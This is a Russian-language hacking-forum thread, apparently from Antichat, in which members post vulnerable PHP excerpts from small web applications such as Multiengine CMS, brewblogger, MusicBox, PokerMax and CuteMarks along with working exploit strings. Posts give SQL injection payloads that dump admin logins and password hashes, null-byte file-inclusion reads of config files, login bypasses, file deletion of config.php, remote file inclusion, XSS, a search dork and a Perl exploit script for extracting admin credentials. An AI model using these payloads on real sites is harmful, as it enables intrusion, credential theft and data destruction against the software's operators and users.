Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Multiengine CMS 0.9.3
    LFI
    /multiengine/multiengine.php
    PHP:
    //error_reporting(0);
    //header("Last-Modified: ".gmstrftime("%a, %d %b %Y %H:%M:%S", strtotime(gmdate("D, d M Y 0:00:01"))-86400+date("j")*100)." GMT");
    define("THIS_SITE""http://".$_SERVER['HTTP_HOST']."/"true);
    define("CURR_URL""http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], true);

    require_once(
    "$enginedir/functions.php");
    // Подключаем класс кэша
    require_once("$enginedir/cache.class.php");

    // Фильтрация входящих данных
    if(isset($_GET['mod'])){
        
    $modQueryFilter($_GET['mod']);
    }
    if(isset(
    $_GET['cat'])){
        
    $cat'/'.QueryFilter($_GET['cat']);
    }
    if(
    $mod.$cat.$_GET['page']=='robots.txt'){
        
    header('Content-Type: text/plain');
        if(!@
    readfile('robots.txt')){
            print 
    "User-Agent: *\r\nDisallow:";
        }
        exit;
    }
    if(isset(
    $_GET['page'])){
        if(
    $_GET['page']=='index'.$url_ext){
            
    $to'index.php?';
            if(isset(
    $mod)){
                
    $to.= "mod=$mod";
                    if(isset(
    $_GET['cat'])){
                    
    $to.= "&cat=".$_GET['cat'];
                }
            }
            elseif(isset(
    $_GET['cat'])){
                
    $to.= "cat=".$_GET['cat'];
            }
            
    header('HTTP/1.1 301 Moved Permanently');
            
    header('Location: '.UrlRewrite(THIS_SITE.$to));
            exit;
        }
        elseif(
    strstr($_GET['page'], $url_ext)){
            
    $page"/".QueryFilter(preg_replace('"(.+)'.$url_ext.'"''$1'$_GET['page']));
        }
        else{
            
    Error404();
        }
    }
    else{
        
    $page"/index";
    }

    // Подключение модулей
    if(isset($mod)){
        if(
    is_file("$enginedir/mods/$mod/mod.php")){
            require_once(
    "$enginedir/mods/$mod/mod.php");
        }
        else{
            
    $cat"/$mod$cat";
            if(
    is_file("$d_base/pages$cat$page.$db_ext")){
                require_once(
    "$enginedir/pages.php");
            }
            else{
                
    Error404();
            }
        }
    }
    else{
        require_once(
    "$enginedir/pages.php");
    }...
    target: index.php

    например, в куки тулим:

    ; mod=../../readme.txt%00


    Запрос:
    Host=multiengine_cms
    User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9
    Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language=ru,en-us;q=0.7,en;q=0.3
    Accept-Encoding=gzip,deflate
    Accept-Charset=windows-1251,utf-8;q=0.7,*;q=0.7
    Keep-Alive=300
    Connection=keep-alive
    Cookie=ffb4935b1bb5d18a2c0f862c02295821=fc3c3d1565f5a9aa318645a642382fc9; mod=../../readme.txt%00
    Cache-Control=max-age=0

    Ответ:
    Status=OK - 200
    Date=Sun, 18 Apr 2010 22:14:24 GMT
    Server=Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4
    X-Powered-By=PHP/5.2.4
    Content-Length=2776
    Keep-Alive=timeout=5, max=100
    Connection=Keep-Alive
    Content-Type=text/html; charset=windows-1251

    Читалка
    (достаем логин и пасс админа)
    посылаем куки: ; cat=/../../multiengine/mods/admin/config.php%00

    target: index.php

    /multiengine/pages
    PHP:
    ...
    if(
    is_file("$d_base/pages$cat$page.$db_ext")){
        
    $fpagefile("$d_base/pages$cat$page.$db_ext");
        
    $pagetitlearray_shift($fpage);
        
    $contentimplode("\r\n"$fpage);...
    Поубирал с кода переводы и пробелы чтоб было видно!
    HTML:
    <?</h1><div class="pagepath"><a href="http://multiengine_cms/">Имя сайта краткое</a> / <a href="http://multiengine_cms/../"></a> / <a href="http://multiengine_cms/../../multiengine/"></a> / <a href="http://multiengine_cms/../../multiengine/mods/admin/config.php_/"></a></div>
    $admlogin= 'admin';$admpass= '21232f297a57a5a743894a0e4a801fc3';
    ?></td>
    
    админко - /admin

    Условие:

    register_globals = On​
    Jokester:
    я не пойму, если зависимость register_globals = On то почему-бы сразу не RFI $enginedir ?
    Я написал target - index.php чтоб реализовать то, что написано выше!

    RFI не получиться , есть причины:

    1) если target - multiengine/multiengine.php, то есть .htaccess
    Code:
    Deny from all
    2) если target - index.php

    index.php
    PHP:
    $enginedir'multiengine';
    require_once(
    "$enginedir/config.php");
    $delimiter'/';
    $sitename'Имя сайта краткое';
    $title'Заголовок сайта';
    $description'Описание сайта';
    require_once(
    "$enginedir/multiengine.php");
    ps
    mg=off, так как замена нулевого байта в is_file() не сработает.
    Извинения за то, что код не полностю выложыл!
     
    #361 Strilo4ka, 19 Apr 2010
    Last edited: 20 Apr 2010
    3 people like this.
  2. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    328
    Likes Received:
    142
    Reputations:
    81
    Продукт:Maian Weblog v4.0
    Требования: mq = off
    SQLi в /index.php
    PHP:
    ....
       
    // Get blog data..
       
    $q_blog mysql_query("SELECT * FROM ".$database['prefix']."blogs 
                              WHERE id = '
    $b_post
                              LIMIT 1
                              "
    ) or die(mysql_error());
     ...
    эксплуатация:
    Code:
    /index.php?cmd=blog&post=3'+and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    
    SQLi в admin/data_files/favourites.php
    PHP:
    // Only load data if in edit mode..
    if (isset($_GET['edit']))
    {
      
    $EDIT mysql_fetch_object(mysql_query("SELECT * FROM ".$database['prefix']."favourites
                                              WHERE id = '"
    .$_GET['edit']."' 
                                              LIMIT 1
                                              "
    )) or die(mysql_error());
    }
    эксплуатация:
    Code:
    admin/index.php?cmd=favourites&edit=-1'+union+select+1,2,version()--+
    
    SQLi в admin/data_files/edit.php
    PHP:
    $q_edit mysql_query("SELECT * FROM ".$database['prefix']."blogs 
                           WHERE id = '"
    .$_GET['id']."' 
                           LIMIT 1
                           "
    ) or die(mysql_error());
    $EDIT mysql_fetch_object($q_edit);
    эксплуатация:
    Code:
    admin/index.php?cmd=edit&id=-3'+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+
    
    Также еще работает одни из xss найденная здесь http://seclists.org/bugtraq/2008/May/30
    Code:
    admin/index.php?cmd=search&search=1&area=blogs&keywords="><script>alert(/xss/)</script>
    
    PS там как минимум есть еще скуля в update и delete.
     
    8 people like this.
  3. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    ignition 1.2

    XSS
    /template.php
    PHP:
    ...if ($twitter) {
    echo(
    '<strong><a href="http://twitter.com/'.$twitter.'">What\'s going on?</a></strong><br />');
    include (
    'stuff/twitter.php');
    echo(
    '<br /><br />'); }
    if (
    $identica) {
    echo(
    '<strong><a href="http://identi.ca/'.$identica.'">What\'s going on?</a></strong><br />');
    include (
    'stuff/identica.php');
    echo(
    '<br /><br />'); }
    if (
    $book) echo ('<strong>Currently reading:</strong><br />'.$book.'<br /><br />');
    if (
    $game) echo ('<strong>Currently playing:</strong><br />'.$game);
    echo(
    '</div>..."
    Переменные нигде не определяються!

    Результат:
    http://localhost/ignition_1.2/index/main.php?book=1%3Cscript%3Ealert%28123%29%3C/script%3E

    Условие:
    rg=on

    LFI
    view.php
    PHP:
    ...session_start();
    require (
    'settings.php');
    $blog $_GET['blog'];
    if (
    file_exists('posts/'.$_GET['blog'].'.txt')) {
    include (
    'posts/'.$_GET['blog'].'.txt');
    }else{
    die(require(
    '404.php')); }
    iheader($title);...
    Результат:
    http://localhost/ignition_1.2/view.php?blog=../../favicon.ico%00

    Условие:
    mg=off

    Аналогично
    comment.php
    PHP:
    ...<?php 
    session_start
    ();
    require (
    'settings.php');
    include (
    'posts/'.$_GET['blog'].'.txt');
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"...
    Тут mg всеравно!

    Результат:
    http://localhost/ignition_1.2/comment.php?blog=../../favicon.ico%00
    Или замену нул-байта.
    На PHP Version 5.3.1 надо mg=off
     
    #363 Strilo4ka, 20 Apr 2010
    Last edited: 20 Apr 2010
    1 person likes this.
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    К посту #33

    PHP:
    #!/usr/bin/perl 
    use LWP::Simple;
    print 
    "\n";
    print 
    "##############################################################\n";
    print 
    "# MusicBox v 3.3 SQL INJECTION EXPLOIT                       #\n";
    print 
    "# Author: Ctacok  (Russian)                                  #\n";
    print 
    "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
    print 
    "##############################################################\n";
    print 
    "\n Usage: exploit.pl [host] [path] ";
    print 
    "\n EX : exploit.pl www.localhost.com /path/ \n\n";
    print 
    "\n userlevel 9 = SuperAdmin ";
    print 
    "\n pass = md5($pass)";
    if (@
    ARGV 2)
    {
    exit;
    }
    $host=$ARGV[0];
    $path=$ARGV[1];
    $vuln "-1+union+select+1,2,concat(0x3a3a3a,userid,0x3a,username,0x3a,password,0x3a,email,0x3a,userlevel,0x3a3a3a),4,5,6,7+from+users+";
    $doc get($host.$path."genre_artists.php?id=".$vuln."--+&by=ASC");
    if (
    $doc =~ /:::(.+):(.+):(.+):(.+):(.+):::/){
            print 
    "\n[+] Admin id: : $1";
                    print 
    "\n[+] Admin username: $2";
                    print 
    "\n[+] Admin password: $3";
                    print 
    "\n[+] Admin email: $4";
                    print 
    "\n[+] Admin userlevel: $5";
    }else{
                    print 
    "\n My name is Fail, Epic Fail... \n"
    }
    pastebin.com
     
    3 people like this.
  5. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    brewblogger 2.2.0

    Blind SQL inj
    index.php
    PHP:
    require_once ('Connections/config.php'); 
    require (
    'includes/authentication_nav.inc.php');  session_start();
    include (
    'includes/db_connect_universal.inc.php');...
    /includes/authentication_nav.inc.php
    PHP:
    mysql_select_db($database_brewing$brewing);
    $query_user sprintf("SELECT * FROM users WHERE user_name = '%s'"$loginUsername);
    $user mysql_query($query_user$brewing) or die(mysql_error());
    $row_user mysql_fetch_assoc($user);
    $totalRows_user mysql_num_rows($user);...
    /includes/db_connect_universal.inc.php
    PHP:
    // Get server's PHP version
    $phpVersion phpversion();
    //echo $phpVersion;

    $currentPage "http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
    if (!empty(
    $_SERVER["QUERY_STRING"])) $currentPage .= "?".$_SERVER['QUERY_STRING'];
    $loginUsername $_SESSION["loginUsername"];
    target:index.php

    Условие:
    rg=on;
    mg=off.

    Опять в куки, например, тулим:
    ; loginUsername=h' and (select 1 from (select count(0),concat(version(),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)#

    Пароли и логины в таблице users:
    user_name password

    Рабочий запрос (проверил на 5.1.40-community):
    ; loginUsername=h' and (select 1 from (select count(0),concat_ws(0x3a,(select user_name from users limit 0,1),(select password from users limit 0,1),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)#

    Blind SQL inj
    /includes/db_connect_universal.inc.php
    PHP:
    // User Info
    mysql_select_db($database_brewing$brewing);
    $query_user5 sprintf("SELECT * FROM users WHERE user_name = '%s'"$filter);
    $user5 mysql_query($query_user5$brewing) or die(mysql_error());
    $row_user5 mysql_fetch_assoc($user5);
    $totalRows_user5 mysql_num_rows($user5);...
    need:
    rg=on;
    mg=off

    target:index.php

    Result:
    в куки, напр.:
    ; filter=h' and (select 1 from (select count(0),concat_ws(0x3a,(select user_name from users limit 0,1),(select password from users limit 0,1),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)#

    blind SQL inj (в order by)
    includes/db_connect_universal.inc.php
    PHP:
    ...
    if (
    $page == "brewBlogList") {
    if (
    $filter == "all") {
    mysql_select_db($database_brewing$brewing);
    $query_log sprintf("SELECT * FROM brewing ORDER BY %s %s"$sort$dir);
    $log mysql_query($query_log$brewing) or die(mysql_error());
    $row_log mysql_fetch_assoc($log);
    $totalRows_log mysql_num_rows($log);
    }...
    PHP:
    ...if ($page == "brewBlogList"$dir "DESC";
    else 
    $dir "ASC";
    if (isset(
    $_GET['dir'])) {
      
    $dir = (get_magic_quotes_gpc()) ? $_GET['dir'] : addslashes($_GET['dir']);...
    PHP:
    ...$page $row_pref['home'];
    if (isset(
    $_GET['page'])) {
      
    $page = (get_magic_quotes_gpc()) ? $_GET['page'] : addslashes($_GET['page']);
    }...
    PHP:
    ...elseif ($page == "brewBlogList"$sort "brewDate";...
    need only:
    rg=on :)

    Reslult:
    http://localhost/brewblogger2.2.0/index.php?page=brewBlogList&dir=[SQL]

    http://localhost/brewblogger2.2.0/index.php?page=brewBlogList&dir=,%28select%201%20from%20%28select%20count%280%29,concat_ws%280x3a,%28select%20user_name%20from%20users%20limit%200,1%29,%28select%20password%20from%20users%20limit%200,1%29,floor%28rand%280%29*2%29%29%20from%20%28select%201%20union%20select%202%20union%20select%203%29x%20group%20by%202%29a%29#
    Крутил как блинд, походу принтабельных нет(кажысь)!
    Дальше по тексту есть иньекции при rg=on!

    SQL inj
    УРЯ! :)
    Поиск принтабельной скули закнончился успехом!

    target: our_site/sections/entry.inc.php?action=hack

    /sections/entry.inc.php
    Вот куски:
    PHP:
    ...if ($action == "default") {
    $style "default";
    if (isset(
    $_GET['style'])) {
      
    $style = (get_magic_quotes_gpc()) ? $_GET['style'] : addslashes($_GET['style']);
    }
    } else 
    $style $_POST['style'];...
    PHP:
    ...mysql_select_db($database_brewing$brewing);
    $query_style1 sprintf("SELECT * FROM styles WHERE brewStyle = '%s'"$style);
    $style1 mysql_query($query_style1$brewing) or die(mysql_error());
    $row_style1 mysql_fetch_assoc($style1);
    $totalRows_style1 mysql_num_rows($style1);...
    need:
    mg=off

    Result:
    <form action="http://localhost/brewblogger2.2.0/sections/entry.inc.php?action=hack" method="post">
    <input type="text" name="style" value="' union select 1,user_name,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from users-- ">
    <input type=submit value="ok">
    </form>

    ps
    иследовал не полностю!
     
    #365 Strilo4ka, 21 Apr 2010
    Last edited: 21 Apr 2010
    4 people like this.
  6. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    kure 0.6.2
    Читалка
    /config.php
    PHP:
    ...$config['adminpass'] = "21232f297a57a5a743894a0e4a801fc3";...
    /index.php
    PHP:
    .../***** VIEWPOST/VIEWDOC *****/
    elseif(isset($_GET['post']) || isset($_GET['doc'])) { // if a post/doc has been requested
        
    if(isset($_GET['post'])) {
            
    $type "post";
            
    $filename $_GET['post'];
        } else {
            
    $type "doc";
            
    $filename $_GET['doc'];
        }
        
    plug($type"top");
        if(!
    file_exists($type "s/" $filename ".txt")) {
            print(
    "The requested file <tt>" $type "s/" $filename ".txt</tt> does not exist.\n");
        } else {
            
    $file $type "s/" $filename ".txt";
            
    $title $file;
            
    $title str_replace($type "s/"""$title);
            
    $title str_replace(".txt"""$title);
            
    $uftitle $title;
            
    $title str_replace("_"" "$title);
            
    $content str_replace("\n""<br>\n"file_get_contents($file));
            print(
    "<table align=\"center\" width=\"90%\"><tr>\n");
            print(
    "<td width=\"100%\">\n");
            print(
    "<a class=\"blog_title\" href=\"?" $type "=" $uftitle "\" name=\"" $title "\">" $title "</a>\n");
            
    plug($type"title_after");
            print(
    "<br>\n");
            if((
    $type == "doc" && $config['docdates'] == true) || $type == "post") {
                print(
    "<span class=\"blog_date\">" date("F jS, Y"filemtime($file)) . "</span>\n");
                
    plug($type"date_after");
                print(
    "<br>\n");
            }
            print(
    "</td></tr>\n");
            print(
    "<tr><td width=\"100%\"><br>\n");
            print(
    "<span class=\"blog_content\">\n" $content "\n</span>");
            
    plug($type"body_after");
            print(
    "<br><br>\n");
            print(
    "</td></tr>\n");
            print(
    "</table>\n");
        }
    }...
    Result:
    http://localhost/kure-0.6.2/index.php?post=../config.php%00

    админко - admin/

    пасивная XSS
    /index.php
    PHP:
    ...plug($type"top");
        if(!
    file_exists($type "s/" $filename ".txt")) {
            print(
    "The requested file <tt>" $type "s/" $filename ".txt</tt> does not exist.\n");...
    Result:
    http://localhost/kure-0.6.2/index.php?post=%3Cscript%3Ealert%28123%29%3C/script%3E

    Дорк: powered by kure​
     
    #366 Strilo4ka, 21 Apr 2010
    Last edited: 21 Apr 2010
    1 person likes this.
  7. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Music Box v 3.3 :D
    SQL:

    /news.php?action=edit&newsid=-1+union+select+1,2,3,4,5+--+
    /album.php?eid=-1+union+select+1,2,3,4,5,6,7,8,9,10+--+
    /blog-detail.php?id=-1+union+select+1,2,3,4,5+--+
    /genre_albums.php?id=-1+or(1,1)=(select+count(0),concat((select+database()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+
    /news-detail.php?id=-1+union+select+1,2,3,4,5+--+
    /songs.php?eid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+--+

    Need mq off:
    /images.php?type=album&aid=-1'+union+select+version()+--+
    (<img src=5.0.45-community-nt>)



    Пассивная XSS:
    /download_songs.php?song=-1%22%3E%3Csсriрt%3Ealert();%3C/sсriрt%3E // Хотя это скуля, ну крутить я нехочу)
    /mygpic.php?picname=%3C/title%3E%3Csсriрt%3Ealert();%3C/sсriрt%3E
    /news-detail.php?id=%22%3E%3Csсriрt%3Ealert();%3C/sсriрt%3E

    Need Register_globals:
    /directlinking.php?count=1&filename=%22%3E%3Csсriрt%3Ealert();%3C/sсriрt%3E

    Скачиваем любой файл:
    /forcedownload.php?file=sources/configure.php -- Качаем
    /forcedownload.php?file=sources/configure.php%00 -- Смотрим в браузере
    /streamm3u.php?file=sources/configure.php -- Скачается в формате m3u ;)

    Раскрытие:
    /opendir.php

    "Мы разработчики MusicBox, и мы дураки, взяли блин не поставили проверку на авторизацию, или мы не дураки и оставили эти баги для траффа для хекеров, кароче какую песню хотите такую и редактируйте!"
    /songs.php?eid=1

    Льём шелл:
    /up.php -- помоему баян, видел где-то :) По дефолту в /audio/ -- На офф сайте стадо баранов уже видать в теме что залиться через этот файл можно, так что делетнут он там :)


    // Вы чо гоните, это лишь одна часть файлов, я блин обосрался когда по другим файлам ходил.
     
    #367 Ctacok, 21 Apr 2010
    Last edited: 21 Apr 2010
    6 people like this.
  8. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Bling Web Log
    SQL ing
    target: index.php
    index.php
    PHP:
    ...if (!$staffid)
     {
        echo 
    "<font size=2>Signup for an account <a href=\"signup.php\">here</a><br> if you dont already have one.\n";
        echo 
    "<br><p>\n";
        echo 
    "<form name=elform action=login.php method=post>\n";
        echo 
    "<table cellpadding=0 cellspacing=0>\n";    
        echo  
    "<tr>\n";
        echo   
    "<td class=body>Username: </td>\n";
        echo   
    "<td><input type=text name=handle size=15></td>\n";
        echo  
    "</tr>\n";
        echo  
    "<tr>\n";
        echo   
    "<td class=body>Password: </td>\n";
        echo   
    "<td><input type=password name=password size=15></td>\n";
        echo  
    "</tr>\n";
        echo 
    "</table>\n";
        echo 
    "<br>\n";
        echo 
    "<center><input type=submit value=Login></center>\n";
        echo 
    "</form>\n";
     }...
    Обработчик формы: login.php
    PHP:
    ...include("./includes/inc.php");

    $handle=cleanup($handle);
    $password=md5($password);

    $staffinfo=getrow("select id, handle, level
     from staff where handle='
    $handle' and status=7 and password='$password'");

    $staffid=$staffinfo['id'];

    if(!
    $staffid)
    {
     
    header ("location:index.php?error=baddlogin");
     exit();
    }

    $staffname=$staffinfo['handle'];
    $stafflevel=$staffinfo['level'];...

    includes/inc.php

    PHP:
    include("./includes/bling_config.php");
    include(
    "./includes/functions.php");

    include/blind_config.php
    PHP:
    function getrows($query)
    {
        
    $query=stripSlashes($query);

        if (!
    $result=mysql_query($query))
            die(
    deadjim(mysql_errno(), mysql_error(), $query));
        else
        {
            
    $row_array[0][0]=$rows=mysql_num_rows($result);

            
    $row_array[0][1]=$fields=mysql_num_fields($result);

            for (
    $i=1$i<=$rows$i++)
            {
                
    $row_array[$i]=mysql_fetch_array($result);
            }
            
    mysql_free_result($result);
        }
        return 
    $row_array;
    }...
    PHP:
    ...function cleanup($copy)
    {
        
    $copy=trim($copy);
        
    //$copy=htmlspecialchars($copy, ENT_QUOTES);
        //$copy=eregi_replace ("%", "%", $copy);
        //$copy=eregi_replace ("<", "&lt;", $copy);
        //$copy=eregi_replace ("&amp;", "&", $copy);
            //$copy=eregi_replace("&lt;b", "<b", $copy);
            //$copy=eregi_replace("&lt;/b", "</b", $copy);
            //$copy=eregi_replace("&lt;i", "<i", $copy);
            //$copy=eregi_replace("&lt;/i", "</i", $copy);
            //$copy=eregi_replace("&lt;u", "<u", $copy);
            //$copy=eregi_replace("&lt;/u", "</u", $copy);
            //$copy=eregi_replace("&lt;a", "<a", $copy);
            //$copy=eregi_replace("&lt;/a", "</a", $copy);
            //$copy=eregi_replace("&lt;img","<img", $copy);
        
    $copy=nl2br($copy);
        
    $copy=StripSlashes($copy);
        return(
    $copy);
    }...
    Result:
    в поле с логином admin' or 1=1/*
    пасс любой

    ps
    Скрипт древний, потому работает тока с rg=on
    В гугле вроде ниче небыло по уязвимостям!​
     
    #368 Strilo4ka, 21 Apr 2010
    Last edited: 22 Apr 2010
    10 people like this.
  9. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Покер - ЭТО ЗЛО :)

    PokerMax Poker

    не понял я что за покер там, искал себе сорцы поиграть :D

    SQL
    Условия: MQ = off
    файл : pokerleague_.php (везде может отличаться название)
    PHP:
    $plrows $sql->execute "SELECT * FROM ".$player_table." WHERE playerid='" $cgi->getValue "pid" ) . "'",
    sploit :
    PHP:
    http://localhost/pokerleague/pokerleague_.php?op=showplayer&pid=-Salcifuful%27+/*!UNION*/+SELECT+1,2,concat_Ws%280x3a,username,password%29,4,5,6,7,8,9,10+from+pokermax_admin%23

    Админко хек
    Условия: MQ = off
    Файл : index.php (он же логиниться)
    PHP:
    if (isset($_POST["op"]) && ($_POST["op"]=="adminlogin"))
    {
      
    mysql_connect($server$DBusername$DBpassword) or die ("$DatabaseError"); 
      
    mysql_select_db($database);
      
    $query "SELECT * FROM $admin_table WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'";
    splot:
    Code:
    ну собственно идем в админку и
    login: ' or 1=1%23
    pass: anoxyi4to xoTb 3DECb 6bl/\ Bac9|
    Удалим что нить?
    в админке файл : backup.php (Делает бэкупс)

    PHP:
    unlink($backup_dir."/" getParam("delzip",""));
    $backup_dir - по умолчанию вроде backup
    такссс....ни че не фильтруется и т.д. ->
    делаем
    Sploit :
    Code:
    http://localhost/pokerleague/pokeradmin/backup.php?delzip=../../includes/config.php
    (кол-во ../ может отличаться от здесьнаписаного)
    по замысловатому замыслу он удалится

    ЗЫ там еще скули в админке, думаю они не так важны уже

    ЗЫЫ иногда прокатывает в админку зайти с
    login:admin
    pass:admin
     
    _________________________
    8 people like this.
  10. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    CuteMarks 1.0.2


    Blind SQL inj

    (если условие верно, то редирект!)

    link_href.php
    PHP:
    include "./include/config.inc";
    include 
    "./include/cm_functions.inc";

    #Get the superglobal variable(s) before using them:
    $lnk_id $_GET['lnk_id'];

    # Make database connection and construct admin main screen
    mysql_pconnect("$db_address:$db_port"$db_user$db_password) or db_error;
    mysql_select_db($db_name) or db_error;

    # An empty database produces a special message
    $sql "SELECT lnk_url, lnk_hits FROM cm_links WHERE lnk_id=$lnk_id";
    $return mysql_query($sql) or db_error;
    $row mysql_fetch_array($return) or db_error;
    $url $row[0];
    $hits $row[1] + 1;
    $sql "UPDATE cm_links SET lnk_hits = $hits WHERE lnk_id=$lnk_id";
    mysql_query($sql) or db_error;
    header("Location: $url");
    include/cm_functions.php
    PHP:
    function db_error($exit_flag) {
      echo 
    "A database error occured, please try again<br>";
      
    $exit_flag AND exit;
    Result:
    http://localhost/cutemarks_1-0-2/link_href.php?lnk_id=[sql]
    http://localhost/cutemarks_1-0-2/link_href.php?lnk_id=1+and+4=substring%28version%28%29,1,1%29--+

    SQL inj
    PHP:
    include "./include/config.inc";
    include 
    "./include/template.inc";
    $lnk_id $_GET['lnk_id'];

    # Load the template, retreive information from the database and fill
    # in the template
    mysql_pconnect("$db_address:$db_port"$db_user$db_password) or db_error;
    mysql_select_db($db_name) or db_error;
    $sql  "SELECT lnk_parent_id, lnk_name FROM cm_links WHERE lnk_id = $lnk_id";
    $result mysql_query($sql) or db_error;
    $row mysql_fetch_array($result) or db_error;
    $tpl = new Template("./$tpl_path""remove");
    $tpl->set_file("admin_move_lnk""admin_move_lnk.tpl");
    $tpl->set_block("admin_move_lnk""cat_list""foo");
    $tpl->set_var(array ("CSS_FILE"        => $css_file,
                         
    "lnk_name"        => htmlentities($row[1]),
                         
    "node_exp"        => $node_exp,
                         
    "lnk_id"          => $lnk_id ));
    $pID $row[0];

    # Create a pulldown form element with all available categories
    $sql "SELECT cat_id, cat_name FROM cm_categories ORDER BY cat_name";
    $result mysql_query($sql) or db_error;
    while (
    $row mysql_fetch_array($result)) {
      
    $tpl->set_var(array("cat_id"    => $row[0],
                          
    "cat_label" => $row[1]));
      if (
    $row[0] == $pID) {
        
    $tpl->set_var("cat_selected""selected");
      } else {
        
    $tpl->set_var("cat_selected""");
      }
      
    $tpl->parse("foo""cat_list"TRUE);
    }
    $tpl->pparse("out""admin_move_lnk");

    Result:

    http://localhost/cutemarks_1-0-2/admin_move_lnk.php?lnk_id=[sql]
    http://localhost/cutemarks_1-0-2/admin_move_lnk.php?lnk_id=-1+union+select+1,version%28%29
    SQL inj
    admin_rename_cat.php
    PHP:
    include "./include/config.inc";
    include 
    "./include/template.inc";

    $cat_id $_GET['cat_id'];
    $node_exp $_GET['node_exp'];

    # Load the template, retreive information from the database and fill
    # in the template
    mysql_pconnect("$db_address:$db_port"$db_user$db_password) or db_error;
    mysql_select_db($db_name) or db_error;
    $sql  "SELECT cat_name FROM cm_categories WHERE cat_id = $cat_id";
    $result mysql_query($sql) or db_error;
    $row mysql_fetch_array($result) or db_error;
    $tpl = new Template("./$tpl_path""remove");
    $tpl->set_file("admin_rename_cat""admin_rename_cat.tpl");
    $tpl->set_var(array ("CSS_FILE"        => $css_file,
                         
    "cat_name"        => htmlentities($row[0]),
                         
    "node_exp"        => $node_exp,
                         
    "cat_id"          => $cat_id ));
    $tpl->pparse("out""admin_rename_cat");
    Result:
    http://localhost/cutemarks_1-0-2/admin_rename_cat.php?cat_id=[sql]
    http://localhost/cutemarks_1-0-2/admin_rename_cat.php?cat_id=-1+union+select+version%28%29--+
    Дырявый как # дальше не хочеться смотреть!
     
    #370 Strilo4ka, 22 Apr 2010
    Last edited: 22 Apr 2010
    7 people like this.
  11. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    OsDate CMS
    Сайт: http://www.tufat.com/
    Версия: 2.54, последняя на данный момент.



    Информация о таблицах:
    ../dbtest.php

    Таким образом можно узнать префикс.​


    PHP-Info:


    ../admin/phpinfo.php
    (права не нужны)​


    Раскрытия путей:


    есть папка с именем forum, в ней лежат api для взаимодействия с установленными форумами, если же форумов нет, то выдаёт самые разнообразные ошибки(инклюд несуществующих файлов, ввызовы несуществующих функций) с раскрытием путей.

    Список файлов:
    ../forum/smf_1-1_api.php
    ../forum/adminLogin.php
    ../forum/forum_db.php
    ../forum/myBB14_forum.php
    ../forum/myBB_forum.php
    ../forum/Phorum_forum.php
    ../forum/phpBB3_forum.php
    ../forum/phpBB_forum.php
    ../forum/smf11_forum.php
    ../forum/vBulletin_forum.php
    ../forum/userLogin.php

    Также другие файлы:
    ../news.php?config[no_news]=asdf
    ../test.php
    ../chat/inc/cmses/osdateCMS_v25.php​

    XSS(пассивная):


    ../afflogin.php?errormsg=<sCript>alert(111);</sCript>

    Отсутствует фильтрация.​

    RFI(register globals = On):
    ../forum/adminLogin.php?config[forum_installed]=http://site/index.php%00
    ../forum/userLogin.php?config[forum_installed]=../../../../../../../../../etc/passwd%00

    Code:

    PHP:
    if ( $config['forum_installed'] == '' || $config['forum_installed'] == 'None' ) {
        include_once(
    'None_forum.php');
    } else {
        include_once(
    $config['forum_installed'] . '_forum.php');
    }


    Ранее уже выкладывалась.​
     
    3 people like this.
  12. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    Plume CMS 1.2.4

    Версия: 1.2.4 Final

    RFI(register globals = on и, как я понял, сервер на винде, тк в Юникс системах регистр имеет значение):
    /manager/tools/link/dbinstall.PhP?_PX_config[manager_path]=path%00

    Уязвимый код:
    PHP:
    if (basename($_SERVER['SCRIPT_NAME']) == 'dbinstall.php') exit;

    include 
    $_PX_config[manager_path] . "/path/lib/";
    Саму идею обойти защиту путём изменения регистра предложили в этом посту: https://forum.antichat.ru/showpost.php?p=1704870&postcount=234 , однако порой этот файл редактируют, а ведь точно такая же уязвимость есть и в файле, указанном выше.

    Раскрытия путей:

    В папке ../manager/tools/* в каждой папке выдает ошибку, связанную с тем, что они используют функции, определённый в файлах, которые их подключают.

